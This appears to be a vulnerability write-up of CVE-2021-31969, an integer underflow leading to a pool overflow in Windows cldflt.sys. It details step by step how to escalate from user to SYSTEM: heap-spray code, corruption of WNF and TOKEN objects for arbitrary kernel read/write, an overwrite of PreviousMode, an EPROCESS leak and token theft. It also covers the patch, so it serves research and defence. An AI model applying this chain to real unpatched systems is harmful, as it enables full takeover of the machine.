CVE-2021-31969 — cldflt.sys Pool Overflow (Restrictive Chunk Size) (EoP)
Last updated: 2026-04-10
Severity: High
Component: cldflt.sys (Windows Cloud Files Mini Filter Driver)
Affected versions: Windows 10 1809–21H2, Windows Server 2019
Bug Class: Integer Underflow → Heap Overflow
Privilege Escalation: User → SYSTEM
Patch: Windows 10 KB5003637 (June 2021) — validatesomeSize >= 4
Related: Cldflt, Cve 2024 30085, Heap Grooming, Integer Overflows, Primitives
Tags:integer-overflow,heap-overflow,kernel-mode,pool,oob-write,aaw,aar,token-steal
Vulnerability Summary
cldflt.sys processes cloud file reparse point data containing a user-supplied compressed buffer. someSize = HIWORD(v7) extracts a 16-bit value with no lower-bound check. When someSize < 4, the expression allocatedSize - 12 wraps to ~0xFFFFFFF4 (unsigned underflow), causing RtlDecompressBuffer to be called with a nearly-4GB decompressed size. By crafting LZNT1 headers to mark the data as uncompressed, the function behaves as memcpy, achieving a fully controlled paged pool overflow. The allocation is a fixed-size 0x20-byte chunk (LFH), requiring a non-standard technique: overflow past the entire LFH bucket into a VS subsegment to reach WNF and TOKEN objects.
Root Cause Analysis
// Vulnerable path (HsmpRpiDecompressBuffer)
someSize = HIWORD(v7); // 16-bit field from user reparse data
allocatedSize = someSize + 8; // no lower bound check on someSize
// If someSize == 0 → allocatedSize = 8
// Then (allocatedSize - 12) wraps: 8 - 12 = 0xFFFFFFF4 as DWORD
RtlDecompressBuffer(
COMPRESSION_FORMAT_LZNT1,
outputBuffer,
allocatedSize - 12, // ← unsigned underflow: ~4GB size!
compressedBuffer, // ← user-controlled content
compressedSize,
&finalUncompressedSize);
// Patch: validate someSize >= 4 before computing allocatedSize
The allocation tag is HsRp, allocated in the paged pool at 0x20 bytes (the restrictive element the blog title references).
Trigger Path
- Register a sync root:
CfRegisterSyncRoot(rootDir, ...). - Write crafted reparse data to a directory under the sync root.
- Open a file handle to trigger
HsmFltPostCREATE → HsmiFltPostECPCREATE → HsmpSetupContexts → HsmpRpReadBuffer → HsmpRpiDecompressBuffer.
Crafted Reparse Buffer Layout
struct cstmData {
WORD flag; // 0x8000 — passes internal flag check
WORD cstmDataSize; // 0x0000 — triggers someSize=0 → underflow
UCHAR compressedBuffer[];
};
LZNT1 “Uncompressed” Trick
LZNT1 chunk structure:
typedef struct {
WORD Size; // If high bit clear: compressed. If 0x8000: uncompressed marker.
BYTE Data[4096];
} LZNT1Chunk;
By setting the LZNT1 chunk header’s Size field appropriately and leaving the data as-is, RtlDecompressBuffer treats the data as uncompressed and simply copies it — effectively turning the bug into a controlled memcpy of controlled length and content.
For the maximum overflow size, chain multiple LZNT1 page-sized chunks. HsmpRpReadBuffer reads up to 0x4000 bytes of reparse data, limiting effective overflow to just under 4 pages.
FSCTL Note
Use FSCTL_SET_REPARSE_POINT_EX (not FSCTL_SET_REPARSE_POINT) — the driver has a pre-op handler blocking the latter for non-Cloud-Filter requests.
The LFH Restriction
The allocation is 0x20 bytes. Under the Low Fragmentation Heap (LFH), the victim chunk can only be adjacent to other 0x20-byte objects in the same bucket. This prevents a simple direct overflow into a powerful object like WNF (which is 0x1000 bytes).
Solution: Cross-Subsegment Overflow
Different subsegment types (LFH and VS) can be contiguous in pool memory. By:
- Exhausting all existing 0x20 LFH buckets (spray
_TERMINATION_PORTobjects), forcing the backend allocator to create a new 0x20 LFH segment. - Simultaneously spraying
_WNF_STATE_DATA(VS segment) and_TOKEN(VS segment) objects to exhaust VS subsegments, forcing new VS subsegments to be allocated. - With sufficient spray, the new 0x20 LFH bucket lands adjacent to (or near) the new VS subsegment.
If fewer than 4 pages of LFH chunks separate the victim from the VS subsegment, the overflow (≤ 4 pages of data) can reach WNF and TOKEN objects in the VS subsegment.
LFH Spray Object: _TERMINATION_PORT
struct _TERMINATION_PORT {
struct _TERMINATION_PORT* Next; //0x0
VOID* Port; //0x8
};
// Size: 0x10 bytes → 0x20 allocation with pool header
Created via NtRegisterThreadTerminatePort(alpcPortHandle). Freed automatically when the thread terminates.
void SprayTerminationPort(DWORD count) {
// Create ALPC port, then:
for (int i = 0; i < count; i++)
NtRegisterThreadTerminatePort(hConnPort);
// Free by letting thread terminate or via control variable
}
Overflow Payload
The overflow DWORDS are filled with the value 0x1000. The goal: overwrite the _WNF_STATE_DATA.AllocatedSize and _WNF_STATE_DATA.DataSize fields with 0x1000, granting a relative page-sized read/write primitive via WNF query/update APIs.
struct _WNF_STATE_DATA {
_WNF_NODE_HEADER Header; //0x0
ULONG AllocatedSize; //0x4 ← overwrite to 0x1000
ULONG DataSize; //0x8 ← overwrite to 0x1000
ULONG ChangeStamp; //0xc
};
With DataSize=0x1000, NtQueryWnfStateData returns STATUS_BUFFER_TOO_SMALL for the original small allocation, identifying the corrupted object. With DataSize enlarged, the API returns up to 0x1000 bytes, giving relative read into adjacent memory including the _TOKEN object.
Post-Overflow: Finding the Corrupted WNF
Scan all WNF objects:
- Query with original DataSize → those returning
STATUS_BUFFER_TOO_SMALLare corrupted. - Check the adjacent
_TOKENcontent: confirm it’s an untouched TOKEN by looking for the known0x1000sentinel atwnfObjectSize + 0x50. - Use stored token handle array +
GetTokenInformation(TokenStatistics)to match the TOKEN byTokenId.LowPart.
Arbitrary Read via TOKEN
// NtQueryInformationToken(TokenBnoIsolation) path:
case TokenBnoIsolation:
if (Token->BnoIsolationHandlesEntry) {
memmove(
TokenInformation + 16,
Token->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
Token->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
}
Set Token->BnoIsolationHandlesEntry to a usermode struct with forged Buffer (read source) and MaximumLength (read size). Data lands at TokenInformation+16. This gives arbitrary kernel read.
Arbitrary Write via TOKEN
// NtSetInformationToken(TokenDefaultDacl) → SepAppendDefaultDacl:
result = memmove(
&Token->DynamicPart[*(BYTE*)(Token->PrimaryGroup + 1) + 2],
UserBuffer,
UserBuffer[1]); // UserBuffer cast as ACL, AclSize at [2]
Constraints:
UserBuffermust look like a valid ACL:AclRevision= 2–4,AceCount= 0UserBuffer[1](AclSize high byte) = size of write ≥ 0x8DynamicPartandPrimaryGroupshould point to the same address to avoid spuriousmemmoveinSepFreeDefaultDacl
Target: Set both DynamicPart and PrimaryGroup to _KTHREAD + 0x229. Then:
*(BYTE*)(PrimaryGroup+1)= 0 (null byte in KTHREAD at that offset)- Write destination =
DynamicPart[0+2]=KTHREAD + 0x229 + 8 + 8=KTHREAD + 0x239… adjusted to hitPreviousModeatKTHREAD + 0x2b1 Sbz1 = 0x00overwritesPreviousMode→ kernel believes caller is in kernel mode
Side effect: BasePriority of thread set to 0x8 (THREAD_PRIORITY_BELOW_NORMAL) — acceptable.
EPROCESS Leak Chain
Since NtQuery* kernel ASLR leaks are removed in Win11 Build 25915+, CVE-2021-31969 (Win10 era) uses a different technique:
TOKEN->SessionObject → AlIn allocation (search pool for 'nIlA' tag)
AlIn allocation + 0x38 → IoCompletion object pointer
Scan pool near IoCompletion for 'RwtE' (EtwR allocation)
EtwR + 0x30 → EPROCESS pointer
Walk EPROCESS.ActiveProcessLinks to find own process (PID match) and System (PID=4).
Get Shell
// PreviousMode = 0 → NtArbitraryRead/Write now work
StealToken(OwnEproc, SystemEproc) {
NtArbitraryRead(&SystemEproc->Token, &token, 8);
NtArbitraryWrite(&OwnEproc->Token, &token, 8);
}
// Restore PreviousMode, spawn cmd.exe as SYSTEM
Key Primitives Used
| Primitive | Technique |
|---|---|
| Integer underflow | HIWORD(v7) → allocatedSize-12 wraps to ~4GB |
| Controlled pool overflow | LZNT1 uncompressed trick → RtlDecompressBuffer as memcpy |
| Cross-subsegment reach | Exhaust LFH + VS buckets → adjacent LFH/VS boundary |
| Relative paged read/write | WNF DataSize overwrite → page-sized OOB via NtQueryWnfStateData |
| Arbitrary kernel read | TOKEN.BnoIsolationHandlesEntry → NtQueryInformationToken |
| Arbitrary kernel write | TOKEN.DynamicPart/PrimaryGroup → SepAppendDefaultDacl memmove |
| PreviousMode null | ACL Sbz1=0 written to KTHREAD+PreviousMode via NtSetInformationToken |
| EPROCESS leak | SessionObject → AlIn → IoCo → EtwR+0x30 → EPROCESS |
Mitigations Bypassed
- KASLR: Defeated via relative read + pool tag pattern matching chain (SessionObject → EtwR → EPROCESS)
- Pool randomization: Defeated by cross-subsegment spray technique
Patch Analysis
Patch adds a simple lower-bound check:
if (someSize < 4)
return STATUS_INVALID_PARAMETER;
This prevents the underflow without changing the broader architecture. The same general cldflt reparse-point attack surface remained open, leading to CVE-2024-30085 three years later.
References
- Alex Birnberg (SSD Security Research), “Exploitation of a kernel pool overflow from a restrictive chunk size (CVE-2021-31969)”, SSD Blog
- Pool overflow techniques: Angelboy, “Windows Kernel Heap — Segment Heap in Windows Kernel”, speakerdeck.com/scwuaptx
- Cloud Filter API: https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/
